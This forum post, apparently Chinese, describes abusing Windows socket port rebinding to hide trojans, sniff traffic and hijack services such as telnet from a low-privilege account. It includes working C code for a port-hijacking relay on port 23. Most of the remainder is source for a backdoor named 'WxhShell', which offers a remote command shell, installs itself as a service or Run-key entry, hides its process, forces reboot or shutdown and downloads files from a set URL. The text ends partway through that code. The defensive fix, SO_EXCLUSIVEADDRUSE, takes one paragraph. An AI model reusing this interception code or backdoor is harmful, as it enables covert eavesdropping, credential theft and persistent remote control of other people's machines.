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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: URw5U1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q9slfQ  
CVQB"L  
  saddr.sin_family = AF_INET; _kN*e:t  
W&C-/O,m  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); NY!jwb@%  
fu]N""~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ipjkZG@  
3Aj*\e0t  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 KOSQQf o  
;`UecLb#  
  这意味着什么?意味着可以进行如下的攻击: Yb:pAzw6  
tsv$r$Se  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 r}W2Ak\  
8\Hr5FqB(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) wC` R>)  
1mH\k5xu  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 SlaDt  
CDdkoajBa  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -^SA8y  
|/T43ADW  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?KP}#>Ba@  
>|*yh~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 'jjb[{g^}}  
$$1qF"GF  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 gQouOjfP  
RiR:69xwR*  
  #include /3B6 Mtb  
  #include T3pdx~66  
  #include BX< dSK  
  #include    Vmi{X b]<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~uj;qq  
  int main() ln<]-)&C  
  { 6rX_-Mm6w  
  WORD wVersionRequested; s>%Pd7:  
  DWORD ret; T ):SGW  
  WSADATA wsaData; Uyx&E?SlEq  
  BOOL val; ,t,wy37*D  
  SOCKADDR_IN saddr; *b)Q5dw@1  
  SOCKADDR_IN scaddr; x0Z5zV9  
  int err; *#&*`iJ(  
  SOCKET s; YZE.@Rz  
  SOCKET sc; ~?U*6P)o  
  int caddsize; 0X9Y~TM%  
  HANDLE mt; SEd5)0X^  
  DWORD tid;   J|~26lG  
  wVersionRequested = MAKEWORD( 2, 2 ); L*JPe"N -e  
  err = WSAStartup( wVersionRequested, &wsaData ); ;>"nn VW  
  if ( err != 0 ) { uf'4'  
  printf("error!WSAStartup failed!\n");  76H!)={  
  return -1; .p&Yr%~  
  } z" QJhCh7  
  saddr.sin_family = AF_INET; thW<   
   =Ho"N`Qy  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 lMifpK  
h(' )"  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); t"AzI8O  
  saddr.sin_port = htons(23); } !s!;BOx  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DQXS$uBT  
  { :c]`D>  
  printf("error!socket failed!\n"); n(vDytrj;  
  return -1; 1HR~ G9  
  } c&'JmKV>&  
  val = TRUE; !GK$[9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 G/?~\ }:s  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <{J5W6  
  { >e&:`2%.  
  printf("error!setsockopt failed!\n"); -?a<qa?$  
  return -1; GWP dv  
  } <4`eQ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -1r2K  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +K$NAT  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C)RBkcb  
*"{& FEV  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) x?yD=Mq_  
  { XbXA+ey6  
  ret=GetLastError(); 9#/(N#>  
  printf("error!bind failed!\n"); W/+K9S25  
  return -1; =o=1"o[  
  } oC |WBS  
  listen(s,2); \%A%s*1  
  while(1) }1H=wg>\  
  { xUWr}j4;  
  caddsize = sizeof(scaddr); &KC!*}<tx  
  //接受连接请求 XcfKx@l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); { T]?o~W  
  if(sc!=INVALID_SOCKET) =zg:aTMti  
  { X%{'<baR  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [_6&N.  
  if(mt==NULL) 'mMjjG9  
  { 8E^@yZo{  
  printf("Thread Creat Failed!\n"); \wav?;z  
  break; f [o%hCS  
  } x"4%(xBu  
  } GdmmrfXB  
  CloseHandle(mt); r/:%}(7;  
  } 2>PH 8  
  closesocket(s); >cR)?P/o  
  WSACleanup(); 3OqX/z,  
  return 0; XvGA|Ekf<  
  }   !~iGu\y  
  DWORD WINAPI ClientThread(LPVOID lpParam) vS?odqi#n  
  { xytr2V ]aV  
  SOCKET ss = (SOCKET)lpParam; ;N=G=X|}  
  SOCKET sc; Ug"rJMZG  
  unsigned char buf[4096]; ! . HnGb+  
  SOCKADDR_IN saddr; g!J0L7 i|  
  long num; :+&AY2`  
  DWORD val; @R2at  
  DWORD ret; 0@=MOGQb  
  //如果是隐藏端口应用的话,可以在此处加一些判断 H AB#pd9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $#NQ <3  
  saddr.sin_family = AF_INET; F} DUEDND*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); sd0r'jb  
  saddr.sin_port = htons(23); _YHu96H;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }IkQA#4$  
  { HZ"Evl|n  
  printf("error!socket failed!\n"); 4&X*pL2;  
  return -1; m7|RD]q&  
  } 'c`jyn  
  val = 100; cPF<D$B  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {1lO  
  { !.X.tc  
  ret = GetLastError(); oduDA:  
  return -1; sq0 PBEqq  
  } ]]iPEm"@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L2z2}U=<  
  { tpf7_YP_!-  
  ret = GetLastError(); 7^e +  
  return -1; U8QX46Br  
  } /Wj,1WX~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^HA %q8| n  
  { c+' =hR[  
  printf("error!socket connect failed!\n"); [J#1Ff;  
  closesocket(sc); yX/";Oe  
  closesocket(ss); i8pU|VpA  
  return -1; Ukphd$3J=  
  } qoU3"8  
  while(1) \x\ 5D^Vc  
  { `k{& /]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Cpl;vQ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 QBJ3iQs1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 83ipf"]*  
  num = recv(ss,buf,4096,0); fZWGn6$   
  if(num>0) ZU2laqa_  
  send(sc,buf,num,0); WOytxE  
  else if(num==0) Kp iF0K  
  break; YE+$H%Jl!  
  num = recv(sc,buf,4096,0);  b`mj_b  
  if(num>0) hsLzj\)6  
  send(ss,buf,num,0); Hgc=M  
  else if(num==0) 2ef;NC.&n  
  break; SS.jL)  
  } dfj\RIV8  
  closesocket(ss); ;&;W T  
  closesocket(sc); Ze^jG-SL$9  
  return 0 ; q }C+tn"\  
  } GR4?BuY,  
H^%.=kf  
-`c :}m  
========================================================== 6)gd^{  
q!,zq  
下边附上一个代码,,WXhSHELL |BU+:+  
K`:=]Z8  
========================================================== f6=w3RS  
D$e B ,~  
#include "stdafx.h" jdqj=Yc  
ctmQWrk|B  
#include <stdio.h> u62)QJE  
#include <string.h> -#&kYK#Ph  
#include <windows.h> ,t$,idcT+  
#include <winsock2.h> kUHE\L.Y]  
#include <winsvc.h> /FY2vDfU6  
#include <urlmon.h> KU&G;ni2  
_Tm0x>EM  
#pragma comment (lib, "Ws2_32.lib") ?[)S7\rP  
#pragma comment (lib, "urlmon.lib") |I8Mk.Z=FA  
@]CF&: P A  
#define MAX_USER   100 // 最大客户端连接数 jk~:\8M(A  
#define BUF_SOCK   200 // sock buffer !mfJpJ  
#define KEY_BUFF   255 // 输入 buffer 8Z#j7)G  
nY?  
#define REBOOT     0   // 重启 MFit|C  
#define SHUTDOWN   1   // 关机 wOgE|n  
S9sR#  
#define DEF_PORT   5000 // 监听端口 eo]#sf@\0  
0Ce]V,i6C>  
#define REG_LEN     16   // 注册表键长度 ik1tidw  
#define SVC_LEN     80   // NT服务名长度 n(Y%Vmy  
h5%|meZQb  
// 从dll定义API . 5HQ   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <!^ [~`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !%L,* '  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &Y>zT9]$K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /ci]}`'ws  
,%"xH4d  
// wxhshell配置信息 gz#4{iT~  
struct WSCFG { 5rxA<G s  
  int ws_port;         // 监听端口 *6ZCDm&N  
  char ws_passstr[REG_LEN]; // 口令 @ CsV]97`  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,lN5,zI=S  
  char ws_regname[REG_LEN]; // 注册表键名 / l>.mK()  
  char ws_svcname[REG_LEN]; // 服务名 jB$SUO`*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g;p)n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pNaiXu3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y0uvT7+[hi  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~.tvrx g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `d]Z)*9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \y Hen|%  
m$Y :0_^-  
}; X!,@ j\L  
Qu*1g(el!o  
// default Wxhshell configuration _cI_#  
struct WSCFG wscfg={DEF_PORT, FY0%XW  
    "xuhuanlingzhe", 0OZMlt%z  
    1, LC69td&  
    "Wxhshell", w:=V@-S 8  
    "Wxhshell", F}?<v8#z0  
            "WxhShell Service", x4?10f(9=  
    "Wrsky Windows CmdShell Service", o3Ot.9L  
    "Please Input Your Password: ", c-]fKj7  
  1, dz9Y}\2tf  
  "http://www.wrsky.com/wxhshell.exe", GY!C|7kN  
  "Wxhshell.exe" !|{IVm/J  
    }; z5cYyx r>  
&k>aP0k"  
// 消息定义模块 `$;+g ,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @uleyB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1TJ0D_,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s&PM,BFf  
char *msg_ws_ext="\n\rExit."; |w&~g9   
char *msg_ws_end="\n\rQuit."; uGtV}-t:  
char *msg_ws_boot="\n\rReboot..."; H?rg5TI0  
char *msg_ws_poff="\n\rShutdown..."; <-C!;Ce{  
char *msg_ws_down="\n\rSave to "; BNm4k7 ]M  
7ET jn)%bs  
char *msg_ws_err="\n\rErr!"; GuQRn  
char *msg_ws_ok="\n\rOK!"; eQN.sl5  
JNU/`JN9f  
char ExeFile[MAX_PATH]; I2Ev~!  
int nUser = 0; n2-0.Er  
HANDLE handles[MAX_USER]; Pe7e ?79  
int OsIsNt; 2!&pEqs  
&_-](w`  
SERVICE_STATUS       serviceStatus; LK7Xw3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; , |E$'  
HxwlYx,4  
// 函数声明 -AD2I {C  
int Install(void); |Fln8wB  
int Uninstall(void); D0bnN1VP  
int DownloadFile(char *sURL, SOCKET wsh); fib#CY  
int Boot(int flag); S q@H  
void HideProc(void); w<nv!e?  
int GetOsVer(void); kyUl{Zj  
int Wxhshell(SOCKET wsl); gSi5u# }J  
void TalkWithClient(void *cs); HMQI&Lh=U  
int CmdShell(SOCKET sock); Pe^ !$  
int StartFromService(void); i?}>.$j  
int StartWxhshell(LPSTR lpCmdLine); UsW5d]i}Y  
K'b*A$5o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L4' [XcY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L10IF  
d "<F!?8  
// 数据结构和表定义 [s6C ZcL  
SERVICE_TABLE_ENTRY DispatchTable[] = PXYE;*d(  
{ {[OwMk  
{wscfg.ws_svcname, NTServiceMain}, 1 =GI&f2I  
{NULL, NULL} )c<6Sfp^B  
}; APBK9ky  
:h5J r8  
// 自我安装 MgJ5B(c  
int Install(void) ]#eh&jw  
{ 7Ua7A  
  char svExeFile[MAX_PATH]; CY"i-e"q<Q  
  HKEY key; /'&;Q7!)  
  strcpy(svExeFile,ExeFile); [1Dm<G u@  
+oy*Kxs7  
// 如果是win9x系统,修改注册表设为自启动 3(_!`0#F%  
if(!OsIsNt) { )iE"Tl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2<W&\D o@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oN,s.Of  
  RegCloseKey(key); .XH8YT42  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dk5|@?pe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bq}x9C&<  
  RegCloseKey(key); pdz'!I  
  return 0; =Viy^ieN$  
    } V|?WF&  
  } Yv\!vW7I  
} g`Md80*Zfk  
else { 00<{:  
ExhL[1E  
// 如果是NT以上系统,安装为系统服务 HtBF=Boq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3VO:+mT  
if (schSCManager!=0) \HSicV#i  
{ z1j|E :  
  SC_HANDLE schService = CreateService L]-w;ll-  
  ( ;iX<`re~  
  schSCManager, YMB~[]$V<  
  wscfg.ws_svcname, 78Y@OL_$  
  wscfg.ws_svcdisp, zY APf &5  
  SERVICE_ALL_ACCESS, /6tcSg)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3'#%c>_  
  SERVICE_AUTO_START, 8 njuDl  
  SERVICE_ERROR_NORMAL, X#J6Umutm  
  svExeFile, L(o#4YH}>J  
  NULL, (cV  
  NULL, rw u3Nb  
  NULL, z^`]7i  
  NULL, P[i\e7mR  
  NULL $$gtZ{ukQ  
  ); _Z#eS/,O@  
  if (schService!=0) IC~ljy]y_  
  { &YX6"S_B  
  CloseServiceHandle(schService); zixE Mi[8  
  CloseServiceHandle(schSCManager); %$n02"@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i\x~iP&F$  
  strcat(svExeFile,wscfg.ws_svcname); h|W%4|]R)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { TVkcDS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $I8[BYblB  
  RegCloseKey(key); UKs$W`  
  return 0; @YZ 4AC  
    } .E<Dz  
  } +TX/g~  
  CloseServiceHandle(schSCManager); "iek,Y}j7  
} Z3;=w%W  
} > V%Q O>C  
h6QWH  
return 1; <94WZ?{p  
} |5ONFd e"0  
dU+0dZdKO  
// 自我卸载 &o.iUk  
int Uninstall(void) otq,R6 ^  
{ l9Pu&M?5  
  HKEY key; $9H[3OZPVv  
Mq+< mX7  
if(!OsIsNt) { Bl4 dhBZoO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fN[n>%)VO<  
  RegDeleteValue(key,wscfg.ws_regname); {j@+h%sF>+  
  RegCloseKey(key); -Enbcz(B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I~RcOiL)  
  RegDeleteValue(key,wscfg.ws_regname); Phlk1*1n  
  RegCloseKey(key); \(u@F<s-  
  return 0; WOb8 "*OM  
  } # #>a&,  
} :~-i&KNk  
} Xw(3j)xQ  
else { 2f{kBD  
AU`OESSI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7A0dl}:  
if (schSCManager!=0) ;,`]O!G:P  
{ s`vSt* ]K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ITvHD-,\  
  if (schService!=0) -tP.S1D  
  { |[WL2<  
  if(DeleteService(schService)!=0) { ZR mPP  
  CloseServiceHandle(schService); ?!m m a\W  
  CloseServiceHandle(schSCManager); /Sj_y*x1e  
  return 0; 2Iz fP;V?  
  } $jcz?vH  
  CloseServiceHandle(schService); k~|ZO/X@l%  
  } cG(0q[  
  CloseServiceHandle(schSCManager); Rp4FXR jC  
} gMay  
} 9:\A7 =  
D pNX66O  
return 1; O3xz|&xY&  
} m)k-uWc$C  
I}%mfojC  
// 从指定url下载文件 }K;iJ~kD1  
int DownloadFile(char *sURL, SOCKET wsh) L8D m9}  
{ 3N3*`?5c<  
  HRESULT hr; kA,4$ 2_o  
char seps[]= "/"; JP%RTGu  
char *token; jrcc  
char *file; Rk{$S"8S_  
char myURL[MAX_PATH]; T>5wQYh$'  
char myFILE[MAX_PATH]; lb95!.av+I  
)<Ob  
strcpy(myURL,sURL); |VYr=hjo  
  token=strtok(myURL,seps); I1v@\Rb  
  while(token!=NULL) NYwGK|  
  { w(#:PsMo<  
    file=token; GZ,j?@  
  token=strtok(NULL,seps); )u Qvt-  
  } ChVY Vx(  
i6A$1(:h  
GetCurrentDirectory(MAX_PATH,myFILE); oVreP  
strcat(myFILE, "\\"); e sGlMq  
strcat(myFILE, file); oFn4%S:  
  send(wsh,myFILE,strlen(myFILE),0); ~D_ rZ&  
send(wsh,"...",3,0); :SdIU36  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C#T)@UxBZ  
  if(hr==S_OK) .W-=x,`hY4  
return 0; pKYLAt+^>  
else BArJ"t*/z  
return 1; wRj~Qv~E  
8nf4Jk8r  
} !8Y3V/)NU  
(E IRz>  
// 系统电源模块 Ga?UHw~  
int Boot(int flag) Pgx+\;w"  
{ P 4H*jy@?  
  HANDLE hToken; `43vxcMg  
  TOKEN_PRIVILEGES tkp; uzO {{S-  
% dYI5U89  
  if(OsIsNt) { k|fh\F+$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q>V?w gZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VAt>ji7c  
    tkp.PrivilegeCount = 1; 4t*<+H%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sq48#5Tc^r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~{9x6<g!  
if(flag==REBOOT) { '%:5axg?]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,A^L=+  
  return 0; &'NQ)Dn  
} %qONJP  
else { )v};C<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Jfe~ ,cI  
  return 0; Ag<4r  
} c.\:peDk  
  } svF*@(- P#  
  else { 83B\+]{hD  
if(flag==REBOOT) { v  F]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tI `w;e%HN  
  return 0; "3v7gtGG  
} -5o?#%  
else { Hc>([?P%t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <%he  o  
  return 0; rT o%=0P  
} 1X Q87~  
} YBR)s\*  
gca|?tt  
return 1; s!bHS_\e|  
} +V6j`  
rknzo]N,  
// win9x进程隐藏模块 MG;4M>H  
void HideProc(void) IM$ 'J  
{ LxIuxt=X|p  
`Nkx7Z~w:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Qa>%[jx,@,  
  if ( hKernel != NULL ) ozT._ C  
  { T..-)kL+p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 69N1 mP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [;)~nPjI  
    FreeLibrary(hKernel); :U7;M}0  
  }  n})  
-v;iMEZ)  
return; //VG1@vaVX  
} #@IQlqJfY7  
n (9F:N  
// 获取操作系统版本 Lqg7D\7j  
int GetOsVer(void) w6%l8+{R  
{ 5/*)+  
  OSVERSIONINFO winfo; %`bLmfm  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #d3[uF]OmW  
  GetVersionEx(&winfo); AX/=}G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &mCs%l  
  return 1; ( ?atGFgu  
  else Q,ZkeWQ7%  
  return 0; c>M_?::)0  
} o,iS&U"TC  
4&#vU(-H  
// 客户端句柄模块 r7zf+a]  
int Wxhshell(SOCKET wsl) M|5^':Y  
{ ^w.k^U=B  
  SOCKET wsh; VG? yL2y  
  struct sockaddr_in client; A)=X?x  
  DWORD myID; T]5U_AI@  
O<gP)ZW~  
  while(nUser<MAX_USER) FA5k45w L  
{ T9aTEsA[U  
  int nSize=sizeof(client); 8Ng) )7g!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1t!&xvhG  
  if(wsh==INVALID_SOCKET) return 1; |j\eBCnH3  
u0<d2Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3 ATN?V@  
if(handles[nUser]==0) #u!y`lek  
  closesocket(wsh); @Z"QA!OK~c  
else vbW\~xf  
  nUser++; G:H(IA7Z  
  } <e@I1iL37y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ly@U\%.  
MZgmv  
  return 0; &Z#Vw.7U  
} 8Xt=eL/P  
uOy\{5s8  
// 关闭 socket }s8*QfK>  
void CloseIt(SOCKET wsh) h5h-}qBA  
{ 1"87EP   
closesocket(wsh); _Eet2;9  
nUser--; C`=`Ce~|d  
ExitThread(0); 3/]f4D{MMY  
} -K{\S2  
#$9U=^Z[  
// 客户端请求句柄 pZNlcB[Qn-  
void TalkWithClient(void *cs) P7M0Ce~iW  
{ ^v()iF !  
\J#I}-a&j  
  SOCKET wsh=(SOCKET)cs; ^/4 {\3  
  char pwd[SVC_LEN]; CJ37:w{%*Y  
  char cmd[KEY_BUFF]; p;)klH@X  
char chr[1]; 67EDkknt  
int i,j; @pyA;>U  
4jI*Y6Wkz  
  while (nUser < MAX_USER) { ^;v.ytO*  
*GY,h$Ul  
if(wscfg.ws_passstr) { 5cv, >{~5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ePFC$kMn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >QbI)if`1  
  //ZeroMemory(pwd,KEY_BUFF); mo97GW  
      i=0; C 6:pY-  
  while(i<SVC_LEN) { <ZN) /,4PS  
x %!OP\  
  // 设置超时 &QHA_+88W  
  fd_set FdRead; av$\@4I  
  struct timeval TimeOut; #dXZA>b9  
  FD_ZERO(&FdRead); ?L.p9o-S0  
  FD_SET(wsh,&FdRead); #oS  
  TimeOut.tv_sec=8; -F~9f>  
  TimeOut.tv_usec=0; Q'vIeG"o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l-JKcsM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6r ?cpJV{  
U7f#Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 60SenHKles  
  pwd=chr[0]; ln_EL?V  
  if(chr[0]==0xd || chr[0]==0xa) { Nc^b8& 2J  
  pwd=0; wZ#~+ }T  
  break; _'o^@v:  
  } }sm56}_  
  i++; 3n=cw2FG  
    } et7T)(k0  
4%Wn}@  
  // 如果是非法用户,关闭 socket *PA1iNdKS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8wNU2yH+D  
} 3vEjf  
_16 &K}<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m78MWz]Yo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;U5x'}%0]  
Ib<5u  
while(1) { omDi<-  
`XRb:d^  
  ZeroMemory(cmd,KEY_BUFF); (*@~HF,t=  
HEW9YC"  
      // 自动支持客户端 telnet标准   VA*79I#_q  
  j=0; 7~k~S>sO  
  while(j<KEY_BUFF) { ocuNrkZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -t706(#k  
  cmd[j]=chr[0]; {mq$W  
  if(chr[0]==0xa || chr[0]==0xd) { jTxChR  
  cmd[j]=0; A/W7 ;D  
  break; {e!uvz,e  
  } ^Xz`hR   
  j++; 67hPQ/S1  
    } T3PaG\5B  
/m|&nl8"qe  
  // 下载文件 uR[PKLh  
  if(strstr(cmd,"http://")) { GqF.T#|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -p]`(S%  
  if(DownloadFile(cmd,wsh)) AfbA.-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R2Fh^x  
  else clU3#8P!=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9jJ/ RXp  
  } lyc{Z%!3  
  else { E6d8z=X(  
^#6%*(D  
    switch(cmd[0]) { =Z$=-\<x0.  
  kA9 X!)2w  
  // 帮助 \Q BpgMi(  
  case '?': { g{f>j d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z[A|SyZp  
    break; M#gGD-  
  } `E1_S  
  // 安装 "Z1&z-   
  case 'i': { >ehWjL`8  
    if(Install()) @):NNbtA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bo\dt@0;  
    else R<YYf^y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jn3|9x  
    break; f;; S  
    } )@&?i.  
  // 卸载 d?+oT0pCH  
  case 'r': { bT6)(lm  
    if(Uninstall()) )*AA9   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R S_lQ{'  
    else I4DlEX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H<}Fk9  
    break; X9BBnZ  
    } U=<.P;+f9  
  // 显示 wxhshell 所在路径 7&S|y]$~  
  case 'p': { )-:f;#xJ  
    char svExeFile[MAX_PATH]; g5YsV p  
    strcpy(svExeFile,"\n\r"); _WkcJe`  
      strcat(svExeFile,ExeFile); 7Mb t*[n  
        send(wsh,svExeFile,strlen(svExeFile),0); >rX R;4%  
    break; f0`rJ?us  
    } 5 WNRo[`7  
  // 重启 }\qdow-  
  case 'b': { g|*eN{g]uE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;w&yGm  
    if(Boot(REBOOT)) .mU.eLM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X;a{JjN  
    else { A2FU}Ym0=  
    closesocket(wsh); Kgio}y  
    ExitThread(0); ;{C{V{  
    } ~m=%a  
    break; }u*@b10   
    } YD>>YaH_3@  
  // 关机 zbKW.u]v  
  case 'd': { (6y3"cbe  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -{sv3|P>  
